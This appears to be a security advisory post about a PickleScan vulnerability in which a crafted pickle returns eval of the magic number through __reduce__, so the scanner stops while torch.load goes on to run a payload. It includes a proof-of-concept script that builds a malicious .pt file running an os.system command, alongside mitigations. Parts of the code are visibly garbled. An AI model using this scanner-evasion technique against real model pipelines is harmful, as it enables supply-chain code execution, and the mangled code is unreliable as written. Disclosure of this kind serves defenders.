Listen to this Post
The vulnerability stems from a fundamental discrepancy between how PickleScan and PyTorch parse serialized data to extract a file’s “magic number.” PickleScan’s `get_magic_number()` function relies on `pickletools.genops(data)` to iterate through opcodes, specifically looking for `INT` or `LONG` types to retrieve the magic number. However, PyTorch’s native loader uses `pickle_module.load()` to simply execute the bytecode and return the value. An attacker can exploit the `__reduce__` method to return a dynamic `eval(‘MAGIC_NUMBER’)` statement. When PickleScan scans the file, `genops()` fails to find a static `INT` or `LONG` opcode for the magic number, returning `None` and effectively halting the scan with an “Invalid magic number” error. Conversely, when PyTorch loads the file, it executes the `eval` statement, successfully retrieving the correct magic number and proceeding to load the subsequent malicious payload. This creates a scanning bypass where a malicious file is ignored by the scanner but executed by the target application, leading to Remote Code Execution (RCE) .
DailyCVE Form:
Platform: PickleScan
Version: <=0.0.30
Vulnerability : Magic Number Bypass
Severity: Critical
Date: Sept 17, 2025
Prediction: Patched Sept 9
What Undercode Say:
Analytics:
This attack exploits the “gap in implementation” between security tools and ML libraries. JFrog researchers highlighted that PickleScan’s reliance on static opcode analysis versus PyTorch’s dynamic execution creates a blind spot. This is particularly dangerous in MLOps pipelines where models are automatically scanned and then loaded .
Exploit:
Attack Step 1: Generate malicious payload using modified PyTorch logic
cat > generate_payload.py << 'EOF'
import torch
class Payload:
def <strong>reduce</strong>(self):
This will bypass picklescan but execute in torch.load
return (eval, ('MAGIC_NUMBER',))
class MaliciousCode:
def <strong>reduce</strong>(self):
Actual RCE payload
return (<strong>import</strong>('os').system, ('touch /tmp/hacked',))
First, embed the magic number bypass
with open('./payload.pt', 'wb') as f:
torch.save(Payload(), f, _use_new_zipfile_serialization=False)
Append the actual malicious code (simplified - actual implementation uses file seeking)
torch.save(MaliciousCode(), './payload.pt', _use_new_zipfile_serialization=False)
EOF
python3 generate_payload.py
Verify PickleScan fails to scan it
picklescan -p payload.pt
Expected output: ERROR: Invalid magic number for file
Protection from this CVE:
Update to the patched version
pip install --upgrade picklescan
If you cannot upgrade, implement a fallback scan manually
python3 -c "
import sys
from picklescan.scanner import scan_pickle_bytes
with open(sys.argv[bash], 'rb') as f:
Force a raw pickle scan regardless of extension or magic number errors
result = scan_pickle_bytes(f.read(), 'manual_scan')
if result.infected_files > 0:
print('Malicious payload detected!')
" payload.pt
Avoid using weights_only=False with untrusted models
Use safe loading flags when possible
torch.load('model.pt', weights_only=True) Prevents arbitrary code execution
Impact:
Successful exploitation allows attackers to distribute malicious PyTorch models that completely evade PickleScan detection. When loaded by an unsuspecting user or automated system, the payload achieves arbitrary code execution. This poses a critical supply chain risk to AI/ML platforms like Hugging Face and enterprise MLOps pipelines, potentially leading to data breaches, model poisoning, or lateral movement within cloud environments .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

